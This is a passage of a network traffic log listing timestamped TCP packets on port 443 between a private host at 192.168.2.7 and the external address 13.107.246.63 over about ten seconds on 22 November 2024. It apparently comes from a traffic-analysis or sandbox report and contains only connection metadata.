Nov 22, 2024 01:03:36.079035997 CET	49982	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.079062939 CET	443	49982	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.079539061 CET	49982	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.079545975 CET	443	49982	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.200489044 CET	443	49981	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.201050043 CET	49981	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.201071024 CET	443	49981	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.201457024 CET	49981	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.201462984 CET	443	49981	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.280447960 CET	443	49983	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.281126022 CET	49983	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.281140089 CET	443	49983	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.281533003 CET	49983	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.281537056 CET	443	49983	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.456944942 CET	443	49980	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.461060047 CET	443	49980	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.461235046 CET	49980	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.461235046 CET	49980	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.461236000 CET	49980	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.464575052 CET	49985	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.464605093 CET	443	49985	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.464678049 CET	49985	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.464883089 CET	49985	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.464899063 CET	443	49985	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.513250113 CET	443	49982	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.516349077 CET	443	49982	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.516417980 CET	443	49982	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.516508102 CET	49982	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.516508102 CET	49982	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.516546965 CET	49982	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.516546965 CET	49982	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.516566992 CET	443	49982	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.516578913 CET	443	49982	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.519664049 CET	49986	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.519697905 CET	443	49986	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.519782066 CET	49986	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.519963026 CET	49986	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.519975901 CET	443	49986	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.652322054 CET	443	49981	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.655379057 CET	443	49981	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.655525923 CET	49981	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.655595064 CET	49981	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.655610085 CET	443	49981	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.655627966 CET	49981	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.655635118 CET	443	49981	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.659123898 CET	49987	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.659171104 CET	443	49987	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.659255028 CET	49987	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.659389019 CET	49987	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.659410954 CET	443	49987	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.715197086 CET	443	49983	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.718368053 CET	443	49983	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.718434095 CET	49983	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.718471050 CET	49983	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.718477011 CET	443	49983	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.718492031 CET	49983	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.718496084 CET	443	49983	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.721581936 CET	49988	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.721617937 CET	443	49988	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.721688986 CET	49988	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.721847057 CET	49988	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.721858978 CET	443	49988	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.769474983 CET	49980	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:36.769500971 CET	443	49980	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:37.837063074 CET	443	49984	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:37.837579966 CET	49984	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:37.837615013 CET	443	49984	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:37.838085890 CET	49984	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:37.838093996 CET	443	49984	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.249517918 CET	443	49985	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.250071049 CET	49985	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.250108957 CET	443	49985	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.250533104 CET	49985	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.250540018 CET	443	49985	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.305051088 CET	443	49984	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.308207989 CET	443	49984	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.308260918 CET	443	49984	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.308269978 CET	49984	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.308321953 CET	49984	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.308370113 CET	49984	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.308393955 CET	443	49984	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.308407068 CET	49984	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.308414936 CET	443	49984	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.311494112 CET	49989	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.311527014 CET	443	49989	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.311595917 CET	49989	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.311742067 CET	49989	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.311750889 CET	443	49989	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.368906975 CET	443	49986	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.369427919 CET	49986	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.369473934 CET	443	49986	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.369982958 CET	49986	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.369997025 CET	443	49986	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.506864071 CET	443	49988	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.507466078 CET	49988	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.507484913 CET	443	49988	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.507870913 CET	49988	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.507883072 CET	443	49988	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.513442039 CET	443	49987	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.513909101 CET	49987	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.513942003 CET	443	49987	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.514350891 CET	49987	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.514358044 CET	443	49987	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.692786932 CET	443	49985	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.695899963 CET	443	49985	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.695988894 CET	49985	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.696022034 CET	49985	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.696048021 CET	443	49985	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.696063995 CET	49985	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.696070910 CET	443	49985	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.707706928 CET	49990	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.707776070 CET	443	49990	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.707884073 CET	49990	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.708076954 CET	49990	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.708117008 CET	443	49990	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.822305918 CET	443	49986	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.825436115 CET	443	49986	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.825500011 CET	443	49986	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.825715065 CET	49986	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.825715065 CET	49986	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.828844070 CET	49986	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.828844070 CET	49986	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.828867912 CET	443	49986	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.828881025 CET	443	49986	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.829435110 CET	49991	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.829474926 CET	443	49991	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.829560995 CET	49991	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.829777002 CET	49991	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.829793930 CET	443	49991	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.953785896 CET	443	49988	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.956835985 CET	443	49988	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.956897020 CET	49988	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.957093954 CET	49988	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.957106113 CET	443	49988	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.957138062 CET	49988	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.957144022 CET	443	49988	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.960061073 CET	49992	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.960104942 CET	443	49992	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.960187912 CET	49992	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.960460901 CET	49992	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.960475922 CET	443	49992	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.968301058 CET	443	49987	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.971237898 CET	443	49987	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.971366882 CET	49987	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.971366882 CET	49987	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.971366882 CET	49987	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.973412991 CET	49993	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.973505020 CET	443	49993	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:38.973608017 CET	49993	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.973707914 CET	49993	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:38.973728895 CET	443	49993	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:39.175833941 CET	49987	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:39.175869942 CET	443	49987	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:40.136636972 CET	443	49989	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:40.137057066 CET	49989	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:40.137065887 CET	443	49989	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:40.137461901 CET	49989	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:40.137465954 CET	443	49989	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:40.499094963 CET	443	49990	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:40.499689102 CET	49990	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:40.499710083 CET	443	49990	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:40.500078917 CET	49990	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:40.500085115 CET	443	49990	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.018697023 CET	443	49989	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.018755913 CET	443	49989	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.018969059 CET	49989	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.019120932 CET	49989	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.019134998 CET	443	49989	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.019145966 CET	49989	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.019150972 CET	443	49989	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.022079945 CET	49994	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.022119999 CET	443	49994	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.022198915 CET	49994	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.022326946 CET	49994	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.022340059 CET	443	49994	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.025753021 CET	443	49992	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.026120901 CET	49992	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.026130915 CET	443	49992	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.026261091 CET	443	49991	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.026571989 CET	49992	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.026576996 CET	443	49992	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.026701927 CET	443	49993	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.026913881 CET	49991	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.026925087 CET	443	49991	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.027282000 CET	49991	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.027287960 CET	443	49991	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.027369976 CET	49993	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.027446032 CET	443	49993	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.027690887 CET	49993	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.027705908 CET	443	49993	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.224210978 CET	443	49990	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.230055094 CET	443	49990	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.230248928 CET	49990	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.230248928 CET	49990	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.230248928 CET	49990	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.232862949 CET	49995	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.232944965 CET	443	49995	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.233030081 CET	49995	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.233176947 CET	49995	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.233196974 CET	443	49995	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.462485075 CET	443	49993	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.465643883 CET	443	49993	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.465863943 CET	49993	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.468861103 CET	443	49991	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.470594883 CET	49993	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.470596075 CET	49993	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.470638037 CET	443	49993	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.470663071 CET	443	49993	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.471729994 CET	443	49992	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.471966028 CET	443	49991	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.472019911 CET	49991	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.472223043 CET	49991	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.472243071 CET	443	49991	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.472256899 CET	49991	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.472265005 CET	443	49991	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.474128962 CET	49996	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.474180937 CET	443	49996	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.474250078 CET	49996	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.474498034 CET	49996	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.474514961 CET	443	49996	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.474744081 CET	443	49992	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.474798918 CET	49992	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.474818945 CET	443	49992	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.474857092 CET	443	49992	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.474900961 CET	49992	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.475106001 CET	49992	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.475116968 CET	443	49992	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.475135088 CET	49992	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.475140095 CET	443	49992	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.476540089 CET	49997	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.476624966 CET	443	49997	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.476713896 CET	49997	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.476886988 CET	49997	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.476922989 CET	443	49997	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.477305889 CET	49998	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.477318048 CET	443	49998	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.477375031 CET	49998	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.477488041 CET	49998	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.477499962 CET	443	49998	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:41.537477970 CET	49990	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:41.537493944 CET	443	49990	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:42.769145966 CET	443	49995	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:42.769701004 CET	49995	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:42.769745111 CET	443	49995	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:42.770382881 CET	49995	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:42.770397902 CET	443	49995	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:42.878746986 CET	443	49994	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:42.879601955 CET	49994	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:42.879631996 CET	443	49994	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:42.880268097 CET	49994	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:42.880273104 CET	443	49994	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.203207970 CET	443	49995	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.206404924 CET	443	49995	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.206542015 CET	49995	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.206655025 CET	49995	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.206697941 CET	443	49995	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.206733942 CET	49995	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.206749916 CET	443	49995	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.210163116 CET	49999	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.210259914 CET	443	49999	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.210417032 CET	49999	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.210555077 CET	49999	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.210602999 CET	443	49999	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.255526066 CET	443	49996	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.256316900 CET	49996	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.256362915 CET	443	49996	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.256875992 CET	49996	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.256906033 CET	443	49996	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.265165091 CET	443	49998	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.265764952 CET	49998	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.265779972 CET	443	49998	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.266211033 CET	49998	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.266225100 CET	443	49998	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.326598883 CET	443	49997	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.327105045 CET	49997	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.327136040 CET	443	49997	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.327578068 CET	49997	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.327605963 CET	443	49997	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.333276987 CET	443	49994	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.333308935 CET	443	49994	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.333359957 CET	443	49994	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.333378077 CET	49994	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.333424091 CET	49994	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.337069035 CET	49994	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.337086916 CET	443	49994	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.337096930 CET	49994	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.337101936 CET	443	49994	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.345310926 CET	50000	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.345362902 CET	443	50000	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.345453978 CET	50000	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.345583916 CET	50000	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.345602036 CET	443	50000	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.700016975 CET	443	49996	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.703077078 CET	443	49996	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.703144073 CET	49996	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.703152895 CET	443	49996	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.703236103 CET	49996	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.703331947 CET	49996	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.703377962 CET	443	49996	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.703413963 CET	49996	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.703429937 CET	443	49996	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.707521915 CET	50001	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.707557917 CET	443	50001	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.707638979 CET	50001	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.708357096 CET	50001	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.708370924 CET	443	50001	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.708879948 CET	443	49998	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.711847067 CET	443	49998	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.711918116 CET	49998	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.711941004 CET	443	49998	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.711982012 CET	443	49998	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.712044001 CET	49998	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.712100029 CET	49998	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.712119102 CET	443	49998	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.712161064 CET	49998	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.712172031 CET	443	49998	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.715334892 CET	50002	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.715380907 CET	443	50002	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.715471983 CET	50002	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.715764046 CET	50002	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.715807915 CET	443	50002	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.779927969 CET	443	49997	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.783006907 CET	443	49997	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.783229113 CET	49997	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.783229113 CET	49997	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.783229113 CET	49997	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.786685944 CET	50003	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.786714077 CET	443	50003	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:43.786791086 CET	50003	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.787007093 CET	50003	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:43.787019014 CET	443	50003	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:44.098000050 CET	49997	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:44.098067999 CET	443	49997	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:45.062875986 CET	443	49999	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:45.063723087 CET	49999	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:45.063786983 CET	443	49999	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:45.064234972 CET	49999	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:45.064249992 CET	443	49999	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:45.126403093 CET	443	50000	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:45.127146959 CET	50000	443	192.168.2.7	13.107.246.63
